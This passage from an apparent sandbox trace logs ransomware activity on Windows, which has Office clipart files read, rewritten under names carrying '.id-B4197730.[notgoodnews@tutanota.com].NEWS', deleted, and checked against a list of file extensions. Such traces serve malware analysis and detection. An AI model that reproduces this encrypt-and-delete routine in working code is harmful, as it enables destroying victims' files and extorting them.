dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0089.973] GetLastError () returned 0x0 [0089.973] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x2b8, lpOverlapped=0x0) returned 1 [0090.555] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x2c0, lpOverlapped=0x0) returned 1 [0090.556] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0090.556] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0090.556] SetEndOfFile (hFile=0x390) returned 1 [0090.556] CloseHandle (hObject=0x390) returned 1 [0090.556] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.557] SetEndOfFile (hFile=0x2c4) returned 1 [0090.558] CloseHandle (hObject=0x2c4) returned 1 [0090.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0090.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0090.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0090.558] lstrlenW (lpString=".doc") returned 4 [0090.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.558] lstrlenW (lpString=".docx") returned 5 [0090.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.558] lstrlenW (lpString=".pdf") returned 4 [0090.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.558] lstrlenW (lpString=".xls") returned 4 [0090.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.558] lstrlenW (lpString=".xlsx") returned 5 [0090.558] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.558] lstrlenW (lpString=".ppt") returned 4 [0090.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0090.559] lstrlenW (lpString=".zip") returned 4 [0090.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.559] lstrlenW (lpString=".rar") returned 4 [0090.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.559] lstrlenW (lpString=".bz2") returned 4 [0090.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.559] lstrlenW (lpString=".7z") returned 3 [0090.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0090.559] lstrlenW (lpString=".dbf") returned 4 [0090.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0090.559] lstrlenW (lpString=".1cd") returned 4 [0090.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0090.559] lstrlenW (lpString=".jpg") returned 4 [0090.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0090.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0090.559] lstrlenW (lpString=".doc") returned 4 [0090.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.559] lstrlenW (lpString=".docx") returned 5 [0090.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.559] lstrlenW (lpString=".pdf") returned 4 [0090.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.559] lstrlenW (lpString=".xls") returned 4 [0090.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.559] lstrlenW (lpString=".xlsx") returned 5 [0090.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.559] lstrlenW (lpString=".ppt") returned 4 [0090.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0090.559] lstrlenW (lpString=".zip") returned 4 [0090.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.559] lstrlenW (lpString=".rar") returned 4 [0090.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.560] lstrlenW (lpString=".bz2") returned 4 [0090.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.560] lstrlenW (lpString=".7z") returned 3 [0090.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0090.560] lstrlenW (lpString=".dbf") returned 4 [0090.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0090.560] lstrlenW (lpString=".1cd") returned 4 [0090.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0090.560] lstrlenW (lpString=".jpg") returned 4 [0090.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.560] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.560] lstrlenW (lpString="J0090027.WMF") returned 12 [0090.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0090.561] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=21268) returned 1 [0090.561] CloseHandle (hObject=0x2c4) returned 1 [0090.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 0x220 [0090.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0090.561] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.561] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0090.562] GetLastError () returned 0x0 [0090.562] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x5314, lpOverlapped=0x0) returned 1 [0090.563] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x5320, lpOverlapped=0x0) returned 1 [0090.564] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0090.564] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0090.565] SetEndOfFile (hFile=0x390) returned 1 [0090.565] CloseHandle (hObject=0x390) returned 1 [0090.565] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.565] SetEndOfFile (hFile=0x2c4) returned 1 [0090.566] CloseHandle (hObject=0x2c4) returned 1 [0090.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 1 [0090.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0090.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0090.566] lstrlenW (lpString=".doc") returned 4 [0090.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.566] lstrlenW (lpString=".docx") returned 5 [0090.566] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0090.566] lstrlenW (lpString=".pdf") returned 4 [0090.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.566] lstrlenW (lpString=".xls") returned 4 [0090.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.567] lstrlenW (lpString=".xlsx") returned 5 [0090.567] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0090.567] lstrlenW (lpString=".ppt") returned 4 [0090.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0090.567] lstrlenW (lpString=".zip") returned 4 [0090.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.567] lstrlenW (lpString=".rar") returned 4 [0090.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.567] lstrlenW (lpString=".bz2") returned 4 [0090.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.567] lstrlenW (lpString=".7z") returned 3 [0090.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0090.567] lstrlenW (lpString=".dbf") returned 4 [0090.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0090.567] lstrlenW (lpString=".1cd") returned 4 [0090.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0090.567] lstrlenW (lpString=".jpg") returned 4 [0090.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0090.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0090.567] lstrlenW (lpString=".doc") returned 4 [0090.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.567] lstrlenW (lpString=".docx") returned 5 [0090.567] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0090.567] lstrlenW (lpString=".pdf") returned 4 [0090.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.567] lstrlenW (lpString=".xls") returned 4 [0090.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.567] lstrlenW (lpString=".xlsx") returned 5 [0090.567] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0090.567] lstrlenW (lpString=".ppt") returned 4 [0090.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0090.568] lstrlenW (lpString=".zip") returned 4 [0090.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.568] lstrlenW (lpString=".rar") returned 4 [0090.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.568] lstrlenW (lpString=".bz2") returned 4 [0090.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.568] lstrlenW (lpString=".7z") returned 3 [0090.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0090.568] lstrlenW (lpString=".dbf") returned 4 [0090.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0090.568] lstrlenW (lpString=".1cd") returned 4 [0090.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0090.568] lstrlenW (lpString=".jpg") returned 4 [0090.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.568] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.568] lstrlenW (lpString="J0090087.WMF") returned 12 [0090.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0090.569] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=46936) returned 1 [0090.569] CloseHandle (hObject=0x2c4) returned 1 [0090.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 0x220 [0090.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0090.569] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.570] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0090.570] GetLastError () returned 0x0 [0090.570] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xb758, lpOverlapped=0x0) returned 1 [0090.572] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xb760, lpOverlapped=0x0) returned 1 [0090.574] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0090.574] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0090.574] SetEndOfFile (hFile=0x390) returned 1 [0090.574] CloseHandle (hObject=0x390) returned 1 [0090.574] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.574] SetEndOfFile (hFile=0x2c4) returned 1 [0090.575] CloseHandle (hObject=0x2c4) returned 1 [0090.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 1 [0090.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0090.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0090.576] lstrlenW (lpString=".doc") returned 4 [0090.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.576] lstrlenW (lpString=".docx") returned 5 [0090.576] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0090.576] lstrlenW (lpString=".pdf") returned 4 [0090.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.576] lstrlenW (lpString=".xls") returned 4 [0090.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.576] lstrlenW (lpString=".xlsx") returned 5 [0090.576] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0090.576] lstrlenW (lpString=".ppt") returned 4 [0090.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0090.576] lstrlenW (lpString=".zip") returned 4 [0090.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.576] lstrlenW (lpString=".rar") returned 4 [0090.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.576] lstrlenW (lpString=".bz2") returned 4 [0090.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.576] lstrlenW (lpString=".7z") returned 3 [0090.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0090.576] lstrlenW (lpString=".dbf") returned 4 [0090.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0090.576] lstrlenW (lpString=".1cd") returned 4 [0090.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0090.576] lstrlenW (lpString=".jpg") returned 4 [0090.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0090.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0090.576] lstrlenW (lpString=".doc") returned 4 [0090.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.577] lstrlenW (lpString=".docx") returned 5 [0090.577] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0090.577] lstrlenW (lpString=".pdf") returned 4 [0090.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.577] lstrlenW (lpString=".xls") returned 4 [0090.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.577] lstrlenW (lpString=".xlsx") returned 5 [0090.577] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0090.577] lstrlenW (lpString=".ppt") returned 4 [0090.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0090.577] lstrlenW (lpString=".zip") returned 4 [0090.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.577] lstrlenW (lpString=".rar") returned 4 [0090.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.577] lstrlenW (lpString=".bz2") returned 4 [0090.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.577] lstrlenW (lpString=".7z") returned 3 [0090.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0090.577] lstrlenW (lpString=".dbf") returned 4 [0090.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0090.577] lstrlenW (lpString=".1cd") returned 4 [0090.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0090.577] lstrlenW (lpString=".jpg") returned 4 [0090.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.577] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.577] lstrlenW (lpString="J0090089.WMF") returned 12 [0090.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0090.578] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=15760) returned 1 [0090.578] CloseHandle (hObject=0x2c4) returned 1 [0090.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 0x220 [0090.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0090.578] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.578] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0090.579] GetLastError () returned 0x0 [0090.579] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: 